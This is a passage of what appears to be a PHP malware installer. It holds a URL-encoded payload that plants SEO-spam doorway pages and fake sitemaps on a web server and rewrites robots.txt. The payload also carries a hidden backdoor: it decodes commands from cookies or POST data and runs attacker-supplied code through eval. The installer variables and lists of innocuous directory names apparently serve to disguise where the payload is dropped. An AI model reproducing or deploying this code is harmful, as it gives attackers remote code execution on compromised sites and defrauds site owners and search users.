22%5D%5B%22header%22%5D%29%29%20%7Bheader%28%24_hgj2uuv9%5B%22data%22%5D%5B%22header%22%5D%29%3Breturn%20true%3B%7D%20elseif%20%28%21empty%28%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%29%29%20%7Becho%20%24_hgj2uuv9%5B%22data%22%5D%5B%22code%22%5D%3Breturn%20true%3B%7D%7Dreturn%20false%3B%7Dpublic%20function%20_ih05m%28%29%7Breturn%20_v6ya63%3A%3A_ih05m%28%29%20%26%26%20_cwqzsic%3A%3A_ih05m%28%29%20%26%26%20_xyxad4u%3A%3A_ih05m%28%29%3B%7Dstatic%20public%20function%20_rhb03%28%29%7Bif%20%28%28%21empty%28%24_SERVER%5B%27HTTPS%27%5D%29%20%26%26%20%24_SERVER%5B%27HTTPS%27%5D%20%21%3D%3D%20%27off%27%29%20%7C%7C%20%24_SERVER%5B%27SERVER_PORT%27%5D%20%3D%3D%20443%29%20%7Breturn%20true%3B%7Dreturn%20false%3B%7Dpublic%20static%20function%20_j6tk6%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3Bif%20%28strpos%28%24_eey0dnpa%2C%20%22.php%22%29%20%3D%3D%3D%20FALSE%29%20%7B%24_eey0dnpa%20%3D%20explode%28%22/%22%2C%20%24_eey0dnpa%29%3Barray_pop%28%24_eey0dnpa%29%3B%24_eey0dnpa%20%3D%20implode%28%22/%22%2C%20%24_eey0dnpa%29%20.%20%22/%22%3B%7Dreturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_eey0dnpa%29%3B%7Dpublic%20static%20function%20_5k4u7%28%29%7B%24_os8wh0zy%20%3D%20Array%28%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%20Edg/96.0.1054.62%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%3B%20rv%3A95.0%29%20Gecko/20100101%20Firefox/95.0%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_6%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/14.1.2%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Macintosh%3B%20Intel%20Mac%20OS%20X%2010_15_7%29%20AppleWebKit/605.1.15%20%28KHTML%2C%20like%20Gecko%29%20Version/15.1%20Safari/605.1.15%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.3%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.45%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%206.1%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.110%20Safari/537.36%22%2C%22Mozilla/5.0%20%28Windows%20NT%2010.0%3B%20Win64%3B%20x64%29%20AppleWebKit/537.36%20%28KHTML%2C%20like%20Gecko%29%20Chrome/96.0.4664.93%20Safari/537.36%22%29%3B%24_zufuutph%20%3D%20array%28%22https%3A//www.google.com/ping%3Fsitemap%3D%22%20%3D%3E%20%22Sitemap%20Notification%20Received%22%2C%29%3B%24_pneb21v4%20%3D%20array%28%22Accept%3A%20text/html%2Capplication/xhtml%2Bxml%2Capplication/xml%3Bq%3D0.9%2Cimage/webp%2C%2A/%2A%3Bq%3D0.8%22%2C%22Accept-Language%3A%20en-US%2Cen%3Bq%3D0.5%22%2C%22User-Agent%3A%20%22%20.%20%24_os8wh0zy%5Barray_rand%28%24_os8wh0zy%29%5D%2C%29%3B%24_gwqcumc3%20%3D%20urlencode%28_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3Bforeach%20%28%24_zufuutph%20as%20%24_79wt4ge0%20%3D%3E%20%24_gvutrk0o%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_9enqk%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3Bif%20%28empty%28%24_q6pxtlu6%29%29%20%7B%24_q6pxtlu6%20%3D%20_79zfb9%3A%3A_3ncnn%28%24_79wt4ge0%20.%20%24_gwqcumc3%2C%20NULL%2C%20%24_pneb21v4%29%3B%7Dif%20%28empty%28%24_q6pxtlu6%29%29%20%7Breturn%20FALSE%3B%7Dif%20%28strpos%28%24_q6pxtlu6%2C%20%24_gvutrk0o%29%20%3D%3D%3D%20FALSE%29%20%7Breturn%20FALSE%3B%7D%7Dreturn%20TRUE%3B%7Dpublic%20static%20function%20_b4fbz%28%29%7B%24_qncl23kq%20%3D%20%22User-agent%3A%20%2A%5CnDisallow%3A%20%25s%5CnUser-agent%3A%20Bingbot%5CnUser-agent%3A%20Googlebot%5CnUser-agent%3A%20Slurp%5CnDisallow%3A%5CnSitemap%3A%20%25s%5Cn%22%3B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_rty56ot6%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3B%24_4uyggedu%20%3D%20sprintf%28%24_qncl23kq%2C%20%24_rty56ot6%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%29%3B%24_pi8z9tuf%20%3D%20%24_SERVER%5B%22DOCUMENT_ROOT%22%5D%20.%20%22/robots.txt%22%3Bif%20%28%40file_exists%28%24_pi8z9tuf%29%29%20%7B%40chmod%28%24_pi8z9tuf%2C%200777%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3B%7D%20else%20%7B%24_ydp7fgmd%20%3D%20%22%22%3B%7Dif%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%3D%3D%3D%20FALSE%29%20%7B%40file_put_contents%28%24_pi8z9tuf%2C%20%24_ydp7fgmd%20.%20%22%5Cn%22%20.%20%24_4uyggedu%29%3B%24_ydp7fgmd%20%3D%20%40file_get_contents%28%24_pi8z9tuf%29%3Breturn%20%28strpos%28%24_ydp7fgmd%2C%20%24_4uyggedu%29%20%21%3D%3D%20FALSE%29%3B%7Dreturn%20FALSE%3B%7Dpublic%20static%20function%20_q32v2%28%29%7B%24_eey0dnpa%20%3D%20explode%28%22%3F%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%2C%202%29%3B%24_eey0dnpa%20%3D%20%24_eey0dnpa%5B0%5D%3B%24_uf8aucwn%20%3D%20substr%28%24_eey0dnpa%2C%200%2C%20strrpos%28%24_eey0dnpa%2C%20%22/%22%29%29%3Breturn%20sprintf%28%22%25s%3A//%25s%25s%22%2C%20_er50gh%3A%3A_rhb03%28%29%20%3F%20%22https%22%20%3A%20%22http%22%2C%20%24_SERVER%5B%27HTTP_HOST%27%5D%2C%20%24_uf8aucwn%29%3B%7Dpublic%20static%20function%20_ax1dg%28%24_o4h21pkl%29%7B%24_39whrurz%20%3D%20_er50gh%3A%3A_j6tk6%28%29%3B%24_20hqocwt%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3B%24_ugaslxbs%20%3D%20%22%22%3Bif%20%28substr%28%24_39whrurz%2C%20-1%29%20%3D%3D%20%22/%22%29%20%7Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%25s%22%2C%20%24_39whrurz%2C%20urlencode%28%24_o4h21pkl%29%29%3B%7D%20else%20%7Bif%20%28FALSE%20%26%26%20%28ord%28%24_20hqocwt%5B0%5D%29%20%25%202%29%29%20%7B%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_20hqocwt%2Curlencode%28str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%29%29%3B%7D%20else%20%7B%24_vgcwvf3x%20%3D%20array%28%22id%22%2C%20%22page%22%2C%20%22tag%22%29%3B%24_q1hwylv0%20%3D%20%24_vgcwvf3x%5Bord%28%24_20hqocwt%5B2%5D%29%20%25%20count%28%24_vgcwvf3x%29%5D%3Bif%20%28ord%28%24_20hqocwt%5B1%5D%29%20%25%202%29%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%20else%20%7B%24_o4h21pkl%20%3D%20str_replace%28%22%20%22%2C%20%22-%22%2C%20%24_o4h21pkl%29%3B%7D%24_ugaslxbs%20%3D%20sprintf%28%22%25s%3F%25s%3D%25s%22%2C%24_39whrurz%2C%24_q1hwylv0%2Curlencode%28%24_o4h21pkl%29%29%3B%7D%7Dreturn%20%24_ugaslxbs%3B%7Dpublic%20static%20function%20_ncv5m%28%24_e0w6pl49%2C%20%24_78iw99aq%29%7B%24_ttrm5byb%20%3D%20%22%22%3B%24_xeswna7e%20%3D%20rand%28%24_e0w6pl49%2C%20%24_78iw99aq%29%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20%24_xeswna7e%3B%20%24_46zwfcoo%2B%2B%29%20%7B%24_o4h21pkl%20%3D%20_xyxad4u%3A%3A_8dnv4%28%29%3B%24_ttrm5byb%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%2C%5Cn%22%2C_er50gh%3A%3A_ax1dg%28%24_o4h21pkl%29%2C%20ucwords%28%24_o4h21pkl%29%29%3B%7Dreturn%20%24_ttrm5byb%3B%7Dpublic%20static%20function%20_0cgo1%28%24_3abbwecp%20%3D%20FALSE%29%7B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.xml%22%3B%24_0lzsv7dt%20%3D%20Array%28%29%3B%24_bipzycp4%20%3D%20%22%3C%3Fxml%20version%3D%5C%221.0%5C%22%20encoding%3D%5C%22UTF-8%5C%22%3F%22%20.%20%22%3E%5Cn%3Curlset%20xmlns%3D%5C%22http%3A//www.sitemaps.org/schemas/sitemap/0.9%5C%22%3E%5Cn%22%3B%24_pjuntwx6%20%3D%20%22%3C/urlset%3E%22%3B%24_vrg12mxu%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3B%24_7rlo07lw%20%3D%20array%28%29%3Bif%20%28file_exists%28%24_ccv63u9v%29%29%20%7B%24_6pfzvk6r%20%3D%20simplexml_load_file%28%24_ccv63u9v%29%3Bforeach%20%28%24_6pfzvk6r%20as%20%24_43ygqq1k%29%20%7B%24_7rlo07lw%5B%28string%29%24_43ygqq1k-%3Eloc%5D%20%3D%20%28string%29%24_43ygqq1k-%3Elastmod%3B%7D%7D%20else%20%7B%24_3abbwecp%20%3D%20FALSE%3B%7Dforeach%20%28%24_vrg12mxu%20as%20%24_1drrwf6g%29%20%7B%24_ugaslxbs%20%3D%20_er50gh%3A%3A_ax1dg%28%24_1drrwf6g%29%3Bif%20%28isset%28%24_7rlo07lw%5B%24_ugaslxbs%5D%29%29%20%7Bcontinue%3B%7Dif%20%28%24_3abbwecp%29%20%7B%24_v4bog9cs%20%3D%20time%28%29%3B%7D%20else%20%7B%24_v4bog9cs%20%3D%20time%28%29%20-%20%28crc32%28%24_1drrwf6g%29%20%25%20%2860%20%2A%2060%20%2A%2024%20%2A%2030%29%29%3B%7D%24_7rlo07lw%5B%24_ugaslxbs%5D%20%3D%20date%28%22Y-m-d%22%2C%20%24_v4bog9cs%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_1drrwf6g%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7Dif%20%28empty%28%24_0lzsv7dt%5B%24_4b6e33nc%5D%29%29%7B%24_0lzsv7dt%5B%24_4b6e33nc%5D%20%3D%20Array%28%29%3B%7D%24_0lzsv7dt%5B%24_4b6e33nc%5D%5B%24_1drrwf6g%5D%20%3D%20%24_ugaslxbs%3B%7D%24_yscyadm6%20%3D%20%22%22%3Bforeach%20%28%24_7rlo07lw%20as%20%24_79wt4ge0%20%3D%3E%20%24_v4bog9cs%29%20%7B%24_yscyadm6%20.%3D%20%22%3Curl%3E%5Cn%22%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Cloc%3E%25s%3C/loc%3E%5Cn%22%2C%20%24_79wt4ge0%29%3B%24_yscyadm6%20.%3D%20sprintf%28%22%3Clastmod%3E%25s%3C/lastmod%3E%5Cn%22%2C%20%24_v4bog9cs%29%3B%24_yscyadm6%20.%3D%20%22%3C/url%3E%5Cn%22%3B%7D%24_u4appmxp%20%3D%20%24_bipzycp4%20.%20%24_yscyadm6%20.%20%24_pjuntwx6%3B%24_gwqcumc3%20%3D%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.xml%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20%3D%20sprintf%28%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticles%20%5C%22%25s%5C%22%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%2C%20%24_4b6e33nc%29%3B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20%22/sitemap.html%22%2C%20%22Sitemap%20Index%22%29%3Bforeach%20%28%24_g5psvgsj%20as%20%24_o4h21pkl%20%3D%3E%20%24_79wt4ge0%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20%24_79wt4ge0%2C%20%24_o4h21pkl%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3B%7D%24_u4appmxp%20%3D%20%22%3C%21DOCTYPE%20html%3E%3Chtml%3E%5Cn%3Chead%3E%5Cn%3Ctitle%3EArticle%20Alphabet%20Index%3C/title%3E%5Cn%3C/head%3E%5Cn%3Cbody%3E%5Cn%22%3Bforeach%20%28%24_0lzsv7dt%20as%20%24_4b6e33nc%20%3D%3E%20%24_g5psvgsj%29%7B%24_u4appmxp%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3E%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%7D%24_u4appmxp%20.%3D%20%22%3C/body%3E%3C/html%3E%22%3B%24_ccv63u9v%20%3D%20dirname%28__FILE__%29%20.%20%22/sitemap.html%22%3B%40file_put_contents%28%24_ccv63u9v%2C%20%24_u4appmxp%29%3Breturn%20%24_gwqcumc3%3B%7Dpublic%20function%20_lhhd6%28%29%7B%24_q1hwylv0%20%3D%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt3%22%29%2C%200%2C%206%29%3Bif%20%28%21%24this-%3E_ot7y0%28%29%29%20%7Bif%20%28%24this-%3E_8rfk6%28%29%29%20%7Breturn%3B%7D%7Dif%20%28%21empty%28%24_GET%29%29%20%7B%24_ttie0k4s%20%3D%20array_values%28%24_GET%29%3B%7D%20else%20%7B%24_ttie0k4s%20%3D%20explode%28%22/%22%2C%20%24_SERVER%5B%22REQUEST_URI%22%5D%29%3B%24_ttie0k4s%20%3D%20array_reverse%28%24_ttie0k4s%29%3B%7D%24_o4h21pkl%20%3D%20%22%22%3Bforeach%20%28%24_ttie0k4s%20as%20%24_9lyo90xb%29%20%7Bif%20%28substr_count%28%24_9lyo90xb%2C%20%22-%22%29%20%3E%200%29%20%7B%24_o4h21pkl%20%3D%20%24_9lyo90xb%3Bbreak%3B%7D%7D%24_o4h21pkl%20%3D%20str_replace%28%24_q1hwylv0%20.%20%22-%22%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%20.%20%24_q1hwylv0%2C%20%22%22%2C%20%24_o4h21pkl%29%3B%24_o4h21pkl%20%3D%20str_replace%28%22-%22%2C%20%22%20%22%2C%20%24_o4h21pkl%29%3B%24_55x93fs4%20%3D%20array%28%22.html%22%2C%20%22.php%22%2C%20%22.aspx%22%29%3Bforeach%20%28%24_55x93fs4%20as%20%24_01tonnyo%29%20%7Bif%20%28strpos%28%24_o4h21pkl%2C%20%24_01tonnyo%29%20%3D%3D%3D%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%20%7B%24_o4h21pkl%20%3D%20substr%28%24_o4h21pkl%2C%200%2C%20strlen%28%24_o4h21pkl%29%20-%20strlen%28%24_01tonnyo%29%29%3B%7D%7D%24_o4h21pkl%20%3D%20urldecode%28%24_o4h21pkl%29%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28empty%28%24_o4h21pkl%29%29%20%7B%24_o4h21pkl%20%3D%20%24_265utrew%5B0%5D%3B%7D%20else%20if%20%28%21in_array%28%24_o4h21pkl%2C%20%24_265utrew%29%29%20%7B%24_2hzxofuj%20%3D%200%3Bforeach%20%28str_split%28%24_o4h21pkl%29%20as%20%24_zrffvwu8%29%20%7B%24_2hzxofuj%20%2B%3D%20ord%28%24_zrffvwu8%29%3B%7D%24_o4h21pkl%20%3D%20%24_265utrew%5B%24_2hzxofuj%20%25%20count%28%24_265utrew%29%5D%3B%7Dif%20%28%21empty%28%24_o4h21pkl%29%29%20%7B%24_hgj2uuv9%20%3D%20_v6ya63%3A%3A_q42pz%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_hgj2uuv9%29%29%20%7Blist%28%24_swlicjbm%2C%20%24_c2d4vsy0%29%20%3D%20%24this-%3E_nr51i%28%24_o4h21pkl%29%3Bif%20%28empty%28%24_c2d4vsy0%29%29%20%7Breturn%3B%7D%24_xnnqxgqw%20%3D%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%3B%24_4b6e33nc%20%3D%20strtolower%28%24_o4h21pkl%5B0%5D%29%3Bif%20%28%21preg_match%28%22/%5E%5Ba-z%5D%24/%22%2C%20%24_4b6e33nc%29%29%20%7B%24_4b6e33nc%20%3D%20%22other%22%3B%7D%24_xnnqxgqw%20.%3D%20sprintf%28%22%3Ca%20href%3D%5C%22%25s%5C%22%3EArticles%20%25s%3C/a%3E%3Cbr%3E%5Cn%22%2C%20_er50gh%3A%3A_q32v2%28%29%20.%20sprintf%28%22/sitemap_%25s.html%22%2C%20%24_4b6e33nc%29%2C%20strtoupper%28%24_4b6e33nc%29%29%3B%24_hgj2uuv9%20%3D%20new%20_v6ya63%28%24_swlicjbm%2C%20%24_c2d4vsy0%2C%20%24_o4h21pkl%2C%20%24_xnnqxgqw%29%3B%24_hgj2uuv9-%3E_g7wwk%28%29%3B%7Decho%20%24_hgj2uuv9-%3E_neje4%28%29%3B%7D%7D%7D_v6ya63%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20-1%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%3B_cwqzsic%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt12%22%29%2C%200%2C%204%29%29%3B_xyxad4u%3A%3A_dzxgv%28dirname%28__FILE__%29%2C%20substr%28md5%28_er50gh%3A%3A%24_wqq8o3s4%20.%20%22salt22%22%29%2C%200%2C%204%29%29%3Bfunction%20_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%7B%24_hiskm125%20%3D%20%22%22%3Bfor%20%28%24_46zwfcoo%20%3D%200%3B%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%29%20%7Bfor%20%28%24_d9po7r88%20%3D%200%3B%20%24_d9po7r88%20%3C%20strlen%28%24_1drrwf6g%29%20%26%26%20%24_46zwfcoo%20%3C%20strlen%28%24_6pfzvk6r%29%3B%20%24_d9po7r88%2B%2B%2C%20%24_46zwfcoo%2B%2B%29%20%7B%24_hiskm125%20.%3D%20chr%28ord%28%24_6pfzvk6r%5B%24_46zwfcoo%5D%29%20%5E%20ord%28%24_1drrwf6g%5B%24_d9po7r88%5D%29%29%3B%7D%7Dreturn%20%24_hiskm125%3B%7Dfunction%20_udz7t%28%24_6pfzvk6r%2C%20%24_1drrwf6g%2C%20%24_7ixx1hmk%29%7Breturn%20_vyfa9%28_vyfa9%28%24_6pfzvk6r%2C%20%24_1drrwf6g%29%2C%20%24_7ixx1hmk%29%3B%7Dforeach%20%28array_merge%28%24_COOKIE%2C%20%24_POST%29%20as%20%24_oy6s5dxd%20%3D%3E%20%24_6pfzvk6r%29%20%7B%24_6pfzvk6r%20%3D%20%40unserialize%28_udz7t%28_er50gh%3A%3A_hitc7%28%24_6pfzvk6r%29%2C%20%24_oy6s5dxd%2C%20_er50gh%3A%3A%24_wqq8o3s4%29%29%3Bif%20%28isset%28%24_6pfzvk6r%5B%27ak%27%5D%29%20%26%26%20_er50gh%3A%3A%24_wqq8o3s4%20%3D%3D%20%24_6pfzvk6r%5B%27ak%27%5D%29%20%7Bif%20%28%24_6pfzvk6r%5B%27a%27%5D%20%3D%3D%20%27doorway2%27%29%20%7Bif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27check%27%29%20%7B%24_x0013v0w%20%3D%20_79zfb9%3A%3A_skc19%28explode%28%22/%22%2C%20_er50gh%3A%3A%24_hz9omu24%29%2C%20%22%22%29%3B%24_x0013v0w%20%3D%20%40unserialize%28%24_x0013v0w%29%3Bif%20%28%21empty%28%24_x0013v0w%29%29%20%7Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%22cache%22%20%3D%3E%20_v6ya63%3A%3A_vga85%28%29%2C%22keywords%22%20%3D%3E%20count%28_xyxad4u%3A%3A_3ap03%28%29%29%2C%22templates%22%20%3D%3E%20_cwqzsic%3A%3A_moy7x%28%29%29%29%3B%7Dexit%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27templates%27%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%22templates%22%5D%20as%20%24_swlicjbm%29%20%7B_cwqzsic%3A%3A_g7wwk%28%24_swlicjbm%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27keywords%27%29%20%7B_xyxad4u%3A%3A_g7wwk%28%24_6pfzvk6r%5B%22keywords%22%5D%29%3B_er50gh%3A%3A_0cgo1%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27update_sitemap%27%29%20%7B_er50gh%3A%3A_0cgo1%28TRUE%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27pages%27%29%20%7B%24_pdaxmdge%20%3D%200%3B%24_265utrew%20%3D%20_xyxad4u%3A%3A_3ap03%28%29%3Bif%20%28_cwqzsic%3A%3A_moy7x%28%29%20%3E%200%29%20%7Bforeach%20%28%24_6pfzvk6r%5B%27pages%27%5D%20as%20%24_hgj2uuv9%29%20%7B%24_1gi3w6uw%20%3D%20_v6ya63%3A%3A_q42pz%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3Bif%20%28empty%28%24_1gi3w6uw%29%29%20%7B%24_1gi3w6uw%20%3D%20new%20_v6ya63%28_cwqzsic%3A%3A_8dnv4%28%29%2C%20%24_hgj2uuv9%5B%22text%22%5D%2C%20%24_hgj2uuv9%5B%22keyword%22%5D%2C%20_er50gh%3A%3A_ncv5m%28_er50gh%3A%3A%24_loyjoas0%2C%20_er50gh%3A%3A%24_p0pykfqo%29%29%3B%24_1gi3w6uw-%3E_g7wwk%28%29%3B%24_pdaxmdge%20%2B%3D%201%3Bif%20%28%21in_array%28%24_hgj2uuv9%5B%22keyword%22%5D%2C%20%24_265utrew%29%29%20%7B_xyxad4u%3A%3A_7z4dg%28%24_hgj2uuv9%5B%22keyword%22%5D%29%3B%7D%7D%7D%7Decho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22pages%22%20%3D%3E%20%24_pdaxmdge%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22ping%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_5k4u7%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7Dif%20%28%24_6pfzvk6r%5B%22sa%22%5D%20%3D%3D%20%22robots%22%29%20%7B%24_q6pxtlu6%20%3D%20_er50gh%3A%3A_b4fbz%28%29%3Becho%20%40serialize%28array%28%22uid%22%20%3D%3E%20_er50gh%3A%3A%24_wqq8o3s4%2C%20%22v%22%20%3D%3E%20_er50gh%3A%3A%24_798p6ki4%2C%20%22result%22%20%3D%3E%20%28int%29%24_q6pxtlu6%29%29%3B%7D%7Dif%20%28%24_6pfzvk6r%5B%27sa%27%5D%20%3D%3D%20%27eval%27%29%20%7Beval%28%24_6pfzvk6r%5B%22data%22%5D%29%3Bexit%3B%7D%7D%7D%24_0rm86w7s%20%3D%20new%20_er50gh%28%29%3Bif%20%28%24_0rm86w7s-%3E_ih05m%28%29%29%20%7B%24_0rm86w7s-%3E_lhhd6%28%29%3B%7Dexit%28%29%3B"; 
 
$payload_url = ""; 
 
$payload_type = "TYPE_DIR"; 
 
 
 
srand(time()); 
 
 
 
 
 
$common_names = Array( 
 
    "blog", 
 
    "forum", 
 
    "site", 
 
    "docs", 
 
    "journal", 
 
    "archive", 
 
    "article", 
 
    "articles", 
 
    "page", 
 
    "pages", 
 
    "viewtopic", 
 
    "tag", 
 
    "tags", 
 
    "id", 
 
    "topic", 
 
    "topics", 
 
    "wiki", 
 
    "review", 
 
    "reviews", 
 
    "category", 
 
    "slug", 
 
); 
 
 
 
 
 
$common_names2 = Array( 
 
    "viewtopic", 
 
    "page", 
 
    "article", 
 
    "archive", 
 
); 
 
 
 
